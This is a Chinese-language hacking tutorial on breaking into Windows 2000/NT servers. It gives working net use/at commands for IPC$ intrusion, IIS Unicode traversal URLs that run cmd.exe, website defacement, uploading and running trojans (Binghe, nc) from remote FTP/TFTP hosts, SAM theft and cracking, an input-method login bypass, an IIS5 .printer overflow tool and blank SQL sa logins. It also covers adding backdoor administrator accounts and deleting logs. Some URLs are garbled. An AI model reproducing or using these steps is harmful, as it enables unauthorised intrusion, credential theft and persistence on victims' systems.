*建立IPC空连接:net use \\ip\ipc$ "password" /user:username
如与IP为192.168.0.1,用户名为hackerkey,密码为12345的机器建立IPC连接命令为:
net use \\192.168.0.1\ipc$ "12345" /user:hackerkey
(如密码为空,可用""表示密码部分)
*删除IPC连接:net use \\ip\ipc$ /del
如用 net use \\192.168.0.1\ipc$ /del
删除上面已经建立的ipc$连接
*启动和删除IPC$共享分别使用 net share ipc$ 和 net share ipc$ /del
用 net share c=c:\ 可完全共享C盘,使用 net share 可以查看开放了什么共享
*映射磁盘和删除映射磁盘:net use drivename \\ip\drive$ 和 net use drivename /del
如和受侵者机器建立IPC共享后,可以执行 net use z:\192.168.0.1\c$ 将受侵者系统开放的默认共享C盘映射为自己的本地磁盘Z,操作自己的Z盘就是操作它的C盘,注意建立磁盘映射必须先建立IPC连接,要映射成的磁盘必须是本地不存在的盘符,例如,本地已经存在D盘,就不能再将受侵者的某个盘映射成自己的D盘了.
断开上面的映射的磁盘可使用 net use z:/del
*查看远程系统的时间:net time \\IP .如net time \\192.168.0.1查看192.168.0.1系统当前时间,已方便***的下一步用at命令添加一个计划任务
*添加/删除用户:命令分别为net user username password /add和net user username /del
例如:net user hackerkey 123456 /add添加一个名为hackerkey,密码为123456的用户,
把该用户添加到管理员组使用命令net localgroup administrator hackerkey /add
*激活被禁用的guest帐号:net uset guest /active:yes(将guest用户设置为禁用使用命令
net user guest /active:no
其实“口令***”不管是破解FTP口令还是TELNET口令，最终的目的都是为了取得系统控制权，成为administrators/root用户。对windows2000/NT来说，获得其管理员身份无非三种途径：一是得到SAM._文件，然后用10phtcrack之类的工具来暴力破解；二是用流光之类的工具对目标系统的简单IPC$、FTP密码、SQL密码等进行扫描探测；三是通过
系统漏洞，绕过系统身份认证以管理员身份进去，然后添加一个administrators组的用户和密码。第一种方法需费很多时间，只要得到了SAM._文件，成功几率倒也不小；第二种方法只对那些粗心大意的网络管理员有用，譬如他将密码设置为1234，那用流光很快就能探测出来；第三种方法最为常见，寻找系统漏洞，然后尝试***，一直以来是网上***者们的兴趣所在，而且成功概率也高。对于UNIX/Linux系统，获取一个root权限要困难得多，通过查看一些资料，我发现这类***都遵循这么一个思路：1、扫描远程系统，试图发现漏洞，
如rpc漏洞、FTP匿名登陆等。2、finger远程系统，尝试获得其用户列表。3、根据已获得资料试图得到远程系统的一个shell。这一步很重要，***的技术水平如何就体现在这里了，一些高明的***利用极其简单的一个系统弱点就能得到一个自己想要的shell。4、得到shell后，***就可以远程rsh或rlogin过去了，然后查看系统版本信息，根据已有的经验判断该版本系统可能存在的缓冲区溢出漏洞。5、查找系统可写入目录，并判断自己是否有可编译权限。6、当这一切完成后，***就上传一个溢出程序，在远程主机上编译并
执行，从而利用溢出漏洞得到root权限。7、留下后门，清除日志。
一、WINDOWS系统口令***
一般来说，这类***具体有这么几种手法：
1、 通过IPC$口令破解***；2、利用Unicode漏洞尝试***；3、利用开放终端服务和输入法漏洞***；4、利用IIS远程溢出漏洞***；5、利用SQL弱口令***。
下面简要介绍这5种***过程。
1、IPC$***：IPC$是指进程间的通信，win2000/NT主机之间通过它来实现数据交换。而利用这一特征还在于2000/NT系统有一个默认的隐藏共享，这个共享被设计的初衷是为了方便管理员远程管理操作系统的，现在却被***拿来实现他们的目的。
开启流光，选择“探测->扫描POP3/FTP/NT/SQL主机”，在“开始地址”和“结束地址”里都填入目标地址：192.168.4.95，在“扫描主机类型”下拉菜单里选择“NT/98”，点“确定”开始扫描。
经过几秒钟后，192.168.4.95 这台主机就出现在左边的主机类型“IPC$主机”里。选择这台主机，点击右键，在弹出的下拉菜单里选择“探测->探测IPC用户列表”。
开始探测，只要用户的密码字典里包含目标主机的密码，则流光迟早能探测出来，探测时间的长短取决于用户的密码字典大小和***机器的运行速度；典型的***字典都有十几兆大小，这样探测起来就需要很长（可能是几天）的时间。经过几分钟的探测后，我们发现，
流光已成功的探测到了目标主机的三个密码，其中包括系统管理员Administrator密码：cell.
好了，有了目标主机的系统管理员密码后，这台主机就已经完全控制在我们手中了。下面说明如何利用流光探测到的密码从IPC$***主机. 开DOS窗口，先PING一下目标主机：192.168.4.95，看看TTL值为128，可以判定这台主机为NT/WIN2000系统了，正是我们所要。用如下命令：
c:\>net use \\192.168.4.95\ipc$ “cell” /user:”administrator”
提示：命令运行成功。已经成功的和目标主机建立连接。
复制一个Telnet程序上去(小榕流光安装目录下的Tools目录里的Srv.exe) ，这个程序是在目标系统上开一个Telnet服务，端口是99。
c:\>cd tools
c:\>tools>copy .\srv.exe \\192.168.4.95\admin$\system32
admin$是ＮＴ的默认的隐藏共享，他对应的是ＮＴ安装目录里的system32目录．通常是在c:\winnt\system32，你也可以用C$ , D$ 他们分别代表盘符C盘，D盘．都是系统的默认共享。
显示：已复制1个文件。文件复制成功。
下面我们需要远程启动这项服务，利用WIN2000的SCHEDULE（定时）服务来启动这个程序。先看一下目标系统的时间：
c:\>net time \\192.168.4.95
显示：
\\192.168.4.95的当前时间是2001/10/22上午10：00
命令成功完成。
下面设定目标系统的TELNET服务在指定时间内启动，用at命令：
c:\>at \\192.168.4.95 10:02 srv.exe
显示：
新加了一项作业，作业ID=1。
说明命令成功执行，下一步就等到服务启动后TELNET上去。
2分钟后，可以TELNET了：
c:\>telnet 192.168.4.95 99
（srv.exe开的端口是99.这里我们就telnet 192.168.4.95 99）
这个程序好在不用输入口令和没有日志记录．但是每一次使用后都会自动关闭，下次要用时要重新启动，才能再用。
我们看到如下界面：
Microsoft Windows 2000 [version 5.00.2195]
<c>版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32\&gt;
这样，我们就成功的登陆上去了。
由于我们已经是系统的管理员，所以有权在目标主机上做任何事，包括创建文件、删除文件、给文件该名、创建、删除用户帐号等。
至此，目标系统再无任何安全可言。
当然，我们还可以以目标系统为跳板，进一步***别的系统。
另开一个DOS窗口，先复制TOOLS目录下的另一个文件NTLM.EXE上去：
c;\tools\&gt;copy .\ntlm.exe \\192.168.4.95\admin$\system32
这个程序是用来改变WIN2000 TELNET SERVER 的身份验证方式，将其改为明文验证。
回到前一个DOS窗口，执行NTLM：
C:&gt;ntlm
有提示字符显示命令成功完成。
然后我们重启一下TELNET 服务，用如下命令行：
c:\&gt;net stop telnet
然后再：
c:\&gt;net start telnet
提示：
TELNET 服务已经成功启动。
这样，你就可以以它为跳板，***别的主机了。
再次登陆本身：
C:\&gt;telnet 192.168.4.95
要求输入用户名和口令。输入用户名administrator和 口令：cell，回车后登陆成功了。到此为止，我们已经完全取得了目标系统的控制权，
一次***成功。
我们希望***到此为止就罢手了，可是他会罢手吗？不会。他还会在系统里留下几个后门，这样就算管理员密码被改了他也可以利用自己
设置的后门进到系统。通常的，他会把系统guset帐号激活并加入管理员组，在TELNET终端下输入如下命令：
c:\&gt;net user guest /active:yes
c:\&gt;net user guest 1234
c:\&gt;net localgroup administrators guest /add
这样他下次就可以用guset用户名，密码1234以系统管理员身份登陆了。
当然，不要忘了擦除痕迹，把c:\winnt\system32\logfiles\w3svc1\下的文件都给删了吧。
要防止这类***，第一是要将系统密码设置得复杂一些，不要使用生日和常用字符作为密码，而使用字母和数字的组合如lo3v4e之类的
密码则普通的流光探测就无能为力了。第二是更改注册表，禁止建立空连接和禁止管理共享。
2、Unicode漏洞***：
首先我们来看看这个漏洞的原理。
在中文版的IIS4，和ISS5中，存在一个BUG，原因是UNICODE编码 存在BUG 在UNICODE 编码中，发现了一个奇怪的编码方式，
例如：
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成
(0xc1 -0xc0) * 0x40 + 0xhh.
例如 (Windows 2000 + IIS 5.0 + SP1 简体中文版):
IIS 将返回"@.ida" 找不到该文件 在这里 （0xc1-0xc0)*0x40+0x00=0x40=’@’
IIS 将返回 "A.ida" 找不到该文件 这里 （0xc1-0xc0)*0x40+0x01=0x41=’A’
IIS 将返回 "B.ida" 找不到该文件 ....
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如：
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ’/’
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ’\’
所以我们就可以用这种方法进入一些目录。
(1http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
. 1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:18 1,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。
http://192.168.8.100/default.asp/á../..á../winnt/winnt.ini
"default.asp" 是一个存在的 .ASP 文件， "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。
在英文版本中使用 %c1%af 能正常利用这个漏洞。
2.了解了漏洞的详细资料。让我们来说说怎么利用。
a.利用IISExploitSearcher工作之便这个软件，我们来找有这个漏洞的主机。
虽然这个漏洞公布很久了， 但你仍然会发现，你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。
让我们来进行下面的操作。
这个URL语句的执行的命令是：利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。
copy c:\winnt\system32\cmd.exe ccc.exe
它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe
就是DOS命令中的空格，在URL中就要换成“+”号。
你要执行copy c:\winnt\system32\cmd.exe ccc.exe
相对应的是 http://ip/scripts/..á../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe
其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的，他的作用是调用c:\winnt\system32\cmd.exe来执行命令。
噢，忘了说为什么要拷贝cmd.exe了。
因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&|(,;%<>”，所以必须改名。
c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe
我们就可以调用到cmd.exe了，就是说不用那个编码了。
主页面就被修改成了：
Hacked by Lion
20/10/2000
也就是说，已经把他的主页黑了。
：P
下面是一些解释。
其中echo 是一个回显命令。
你在DOS下打一个echo Hacked by Lion 看看。
它是在屏幕上显示
Hacked by Lion
不只这样
你也可以让它把东西写进一个文件。
echo Hacked by Lion &gt; lion.txt
这样当前目录下的lion.txt文件里就有了Hacked by Lion的字样。
其中 &gt; lion.txt的用途是把回显的字符写进lion.txt,它覆盖原来的内容。
你如果再想用echo 20/10/2000 &gt; lion.txt 来写剩下的内容的话，
你会发现它覆盖了原来的内容Hacked by Lion。
怎么办呢？别急！
echo Hacked by Lion &gt; lion.txt
echo 20/10/2000 &gt;&gt; lion.txt
看看吧
文件里面的是
Hacked by Lion
20/10/2000
成功了。
这样，就可以用上面的解释，把空格用"+"代替，就可以向别人的主页写任何东西了。
补充一点
好多站点\inetpub\下的scripts目录删除了， 但\Program Files\Common Files\System\下 的msadc还在
（有msadcs.dll漏洞的话就不用 %c1%1c了）。
这时可以如下构造请求：
3.当然，我们也不能只停留在黑主页的地步，当然想进一步控制整个机器了。
：P
下面来说说几种方法来控制这个机器。
a. 如果c:\winnt\repair\sam._存在
那么我们把copy c:\winnt\repair\sam._ c:\inetpub\wwwroot然后用浏览器下载，用破NT密码的工具，比如l0phtcrack来破。
b.上载文件
1.找一个ftp服务器，将须上载的文件copy 到ftp服务器上，
假设这个 ftp server的 ip:127.1.1.1 ,username:abc,password:bbb 文件名：srv.exe
2.编辑一个上载执行文件
如果你看不懂上面的命令。
你在DOS下打一个ftp /?看看。
：P
成功率很高的哦。
3.然后 http://ip/scripts/srv.exe运行它。
srv.exe是我放的一个冰河服务端。
下面不用我说了吧。
用冰河客户端连接他就可以了。
：P
顺便说一下
冰河的公用密码是：
05181977
他有70%左右的成功率。
subseven的共用密码是：
abuse
4.当然你也可以给他中一个nc99.exe等的东西。
获取administrator权限
上载getadmin.exe
getadmin iusr_机器名
这一招不一定有效哦。
http:/ip/scripts/ccc.exe?/c+net+user+aaa+12345+/add
http:/ip/scripts/ccc.exe?/c+net+localgroup+administrators+aaa+/add
c. 当然我们也有其他方法来上传文件。
前一段时间黑了几个台湾网站，net use也练得比较熟了。
看到有一个类似的教程用net use。
我也试了一下，累试不爽。呵呵
找个中转站，利用net use来上传文件。
我们要用到legion。
legion是一个扫描共享的软件。
你通过用它，你会找到一大堆的蠢伙。把整个C.D盘共享，并且不用密码的。
当然，设置密码也是没用的。呵呵猜26个字母就搞掂了。当然这要用另外一个软件。：P，在这就不说了。
找到后C盘或D盘后，
net use g: \\x.x.x.x\d
把他的d映射成你的g:盘。
现在我们来把东西拷贝到他的D盘，也就是你的G盘。
copy e:\tools\srv.exe o:拷贝一个文件，随便你哦。：P
你也可以在我的电脑里把它拖过去就可以了。：P
操作完成就不管他了。
让我们来回到服务器上操作。
1http://x.x.x.x/scripts/ccc.exe?/c+net+use+g:+\\10.1.1.1\d
建立连接和映射。
这个过程时间可能会长一点，耐心等等。
看看东西在不在哦：P
3http://x.x.x.x/scripts/ccc.exe?/c+g:\srv.exe
直接运行就可以了。
：P
又一个中了***。
但我不能保证它能100%成功哦。
d.用TFTP上传文件。
但具体怎么用我没试过。：（
谁知道的写信告诉我。
近来安全类技术网站提得最多的技术漏洞莫过于 %c1%1c 的问题。
%c1%1c，中文简体里面没有这种字，照正常的情况根据内码转换文件
\winnt\system32\c_936.nls会编码成“？”。但对中文简体版IIS中
c1 1c解码成了（c1-c0)*40+1c=5c=“\”。此编码发生在IIS检测处理路
径串中的“..\”之后，所以可以突破IIS路径访问到上级目录。此漏洞
从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0
+SP1，好像台湾繁体中文也受此漏洞影响。
/cmd.exe?/c+dir%20c:\发现列出了远程主机C:\下的所有文件，
执行： http://xxx.xxx.xxx.xxx/á../winnt/system32/cmd.exe?/c
+copy%20c:\autoexec.bat%20c:\autoexec.bak 成功实现文件的复制，
cmd.exe?/c+del%20c:\autoexec.bak 成功实现文件的删除，哇！太利害了。
随便浏览了一下，因为是国内的主机，不想搞破坏，只想练练手！目的：
获得Administrator权限。
cmd.exe?/c+copy%20c:\winnt\repair\sam._%20c:\inetpub\wwwroot把sam._文件拷贝到wwwroot文件内，
将sam._文件下载到本地，执行： http://xxx.xxx.xxx.xxx/á../winnt/system32/cmd.exe?/c
+del%20c:\inetpub\wwwroot\sam._清除痕迹。
在本机执行：C:&gt;expand sam._ sam
启动l0phtcrack 2.5(可 http://rina.yofor.com/7index.html下载)，Import Sam File... 导入sam文件，
Open Wordlist File...
打开一个字典，Run Crack，乖乖，要17个小时，不管它，让它慢慢破去，先睡个
觉先！五分钟后来一看，Administrator 的 Nt Password 居然是 123456，我昏，
网管们注意了，这种密码也可以取呀？执行：C:\&gt;newletmein \\xxx.xxx.xxx -admin
扫描主机，发现管理员ID是：asdfghjk,执行：C:\&gt;net use \\xxx.xxx.xxx.xxxc$
123456 /user:asdfghjk 成功联上对方主机，大功告成！
文中提及的FTP上传现在不太用了，都改用TFTP上传。我简要说一下TFTP的使用方法：
首先使自己的系统配置成为TFTP服务器。这个很好办，下载一个TFTP服务器在本机运行起来。然后在存在U漏洞的
目标主机浏览器里输入：
c:\\winnt\\system32\\srv.exe
这里的srv.exe是你想要放的***程序。注意：要上传的文件必须和TFTP服务器在同一目录下。192.168.4.95是对方IP，192.168.4.91
是自己IP。然后通过浏览器来执行这个***：
回车后***就在远程主机上运行了。以后能做什么事就取决于该***的功能。
当然，也可以通过TFTP来下载，譬如说我想把它的c:\winnt\repair\SAM._文件down下来，就在浏览器里这样输入：
这样SAM文件就被下载到本地TFTP的同一个目录里。
当然也可以先把目标主机的SAM文件复制到c:\inetpub\wwwroot\，然后通过浏览器来下载。这样做：
这样就把c:\winnt\repair\里的sam文件拷贝到c:\Inetpub\wwwroot\下，利用浏览器把它下载来。在地址栏里输入：
回车后SAM文件就被下载到本地了。
然后用10phtcrack这样的工具进行破解。10phtcrack是大名鼎鼎的破NT密码的工具，成功率很高，一般的密码被破解出来只是时间
长短的问题。得到管理员密码后，就可以参考前一种方法进一步***系统了。
3、利用开放终端服务和输入法漏洞***：
这种***方法也是前一阵网上提得最多的，特点是简单有效，只要发现漏洞，就能成功***。其实它不牵涉到口令问题，并不需要对
口令进行破解。只是通过系统的漏洞绕过身份验证，然后登陆上去在远程主机添加管理员用户。用到工具：
redmay3389：红色五月的3389端口扫描器，用来扫描网络上开放了终端服务的主机。
微软终端服务客户端：用来和开放了终端服务的服务器连接。
***过程：打开redmay3389，输入一段IP地址，开始扫描远程主机的3389端口。稍等一会，找到了几台开了3389端口的主机。随便找
一个来测试，打开客户服务端软件，输入IP后尝试连接，几秒钟的时间便连接上对方主机，在客户服务端软件里出现了对方主机的登
陆窗口。到现在为止就要看对方的主机有没有输入法漏洞了，如果没有，那就只好打道回府。把鼠标放到用户名框里点击一下，然后
按ctrl+shift,把输入法转换到全拼状态，然后把鼠标放到状态条的图标上，按右键弹出一个选项，里面有个选项是帮助，把鼠标放到
帮助上，在新弹出的选项里选择“输入法入门”，然后就会弹出一个叫“输入法操作指南”的大的窗口，这个窗口里有个栏目是“选项”，
把鼠标放在这个选项上面点击右键，在新弹出的小窗口里选择“跳至url”，然后就会弹出一个窗口，在里面输入盘符和路径就会在“输入
法操作指南”窗口的右边显示出来该路径下的内容。现在有两种方法可以***：
  1.把c:\winnt\system32\cmd.exe程序改名拷贝到c:\inetpub\scripts\目录下，然后在浏览器里来实现***，具体方法参看前面的
Unicode漏洞***。
  2.在“跳至url”里的框里输入：c:\winnt\systm32\，这样c:\winnt\system32\下的内容就全在右边窗口显示出来。在显示出来的文
件里找到net.exe这个文件，右键后点击“创建快捷方式”，之后系统会自动创建一个“快捷方式 net.exe”的文件，把鼠标放到这个文件
上面点右键，选择“属性”，就会弹出一个“快捷方式 net.exe属性”的窗口，这个窗口的“目标”的框里默认的是：
c:\winnt\system32\net.exe 在这个命令的后面加上user pyh 1234 /add ，确认后把这个“快捷方式 net.exe”文件点击运行，
这样就在远程主机上新建了一个用户：user:pyh;passwd:1234.但是权限只是普通用户的，我们现在把这个用户提升到管理员权限，
还是在那个“快捷方式 net.exe属性”窗口的c:\winnt\system32\net.exe后面加上：localgroup administrators pyh /add ，确定
后点击运行，这样就把该用户权限提升到系统管理员了。到此为止，我们已成功***目标。下一步怎么做不多说，参看前面流光IPC$***。
4、IIS5远程缓冲区溢出***：
这里是绿盟的安全公告：
—————————————————————————————————————
微软Win 2K IIS 5.0 远程缓冲区溢出
日期：2001-5-6  
受影响的系统:
Microsoft Windows 2000 Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server
描述:
BUGTRAQ ID: 2674
微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对
.printer的URL请求时，IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心
构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数
据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务
停止响应，从而自动重启它，因此系统管理员很难意识到发生过***。
漏洞利用程序见“\漏洞利用\exploit\cgi\iis\iis5hack.zip”。
<* 来源：Riley Hassel of eEye Digital Security *>
———————————————————————————————————————
  安全焦点对这个漏洞也给出了测试程序，详情请察看我前面写过的《IDTHS测试报告》。
对IIS的缓冲区溢出需要用到sunx写的一个小工具：iis5hack.exe，这是一个在DOS下运用的命令行工具，我们将它拷贝到
c:\winnt\system32\目录下。然后开DOS窗口，输入如下命令：
c:\&gt;iis5hack 192.168.4.xx 80 1 0
其中80表示目标被***端口，第一位0表示操作系统类型为安装了SP1的中文win2000系统，第二位0表示想要在远程系统上打开的TELNET端口，
这里表示端口为99。
对IIS5HACK的详细使用方法请参看作者主页 http://www.sunx.org/
过一会，出来提示句行，说明溢出成功，可以在99端口telnet进去了。
到这一步我就不多说了，详情请看前文。主要***步骤如下：
添加用户：net user wazzy 1234 /add
将用户加入管理组：net localgroup administrators wazzy /add
退出后再net use 连上去，上传***，这样***就成功了。
然后微软的IIS还存在两个缓冲区溢出漏洞，这里是绿盟的安全公告：
——————————————————————————————————
微软Index Server(.ida/idq) ISAPI扩展远程溢出漏洞
日期：2001-6-18  
更新日期: 2001-6-21
受影响的系统:  
Microsoft Index Server 2.0
－ Microsoft Windows NT 4.0 IIS 4.0
Indexing Service in Windows 2000
－ Microsoft Windows 2000 IIS 5.0
描述:
BUGTRAQ ID ： 2880
CVE ID   : CAN-2001-0500
微软IIS缺省安装情况下带了一个索引服务器(Index Server,在Windows 2000下名为"Index Service").缺省安装时，
IIS支持两种脚本映射：管理脚本(.ida文件)、Inernet数据查询脚本(.idq文件)。这两种脚本都由一个ISAPI扩展 - idq.dll来处理和解释。
由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区，如果***者提供一个特殊格式的URL,就可能引发一个缓冲区溢出。
通过精心构造发送数据，***者可以改变程序执行流程，执行任意代码。
成功地利用这个漏洞,***者可以远程获取"Local System"权限。
<*来源：Riley Hassell of eEye Digital Security
*>
绿盟给出了相应的测试程序如下：
警 告
以下程序(方法)可能带有***性，仅供安全研究与教学之用。使用者风险自负！
提交下列URL请求：
GET /NULL.ida?[buffer]=X HTTP/1.1
Host: werd
如果[buffer]的长度超过240个字节，就可能触发溢出。
IIS的.idq/.ida映射的溢出漏洞已经公布了好久了，但由于利用这个漏洞有比较大的难度，所以可用的***程序一直也没写出来。
因此，因特网中利用这个漏洞进行***的成功率并不高。在安全焦点里也有针对它的***测试程序源代码。
5、SQL弱口令***：这个其实没什么说的，前提是很多SQL用户粗心大意，默认 SQL的管理员帐号sa的密码为空。下面是我用流光对
本地网络SQL密码的一段探测结果。（略图）
结果出来，有7个用户的SQL管理员密码为空！
随便在上面找一台，用流光的“MSSQL工具”连接上去，执行SQL远程命令。
点连接后就登陆进去了。然后就在远程主机上添加管理员用户，取得系统的控制权。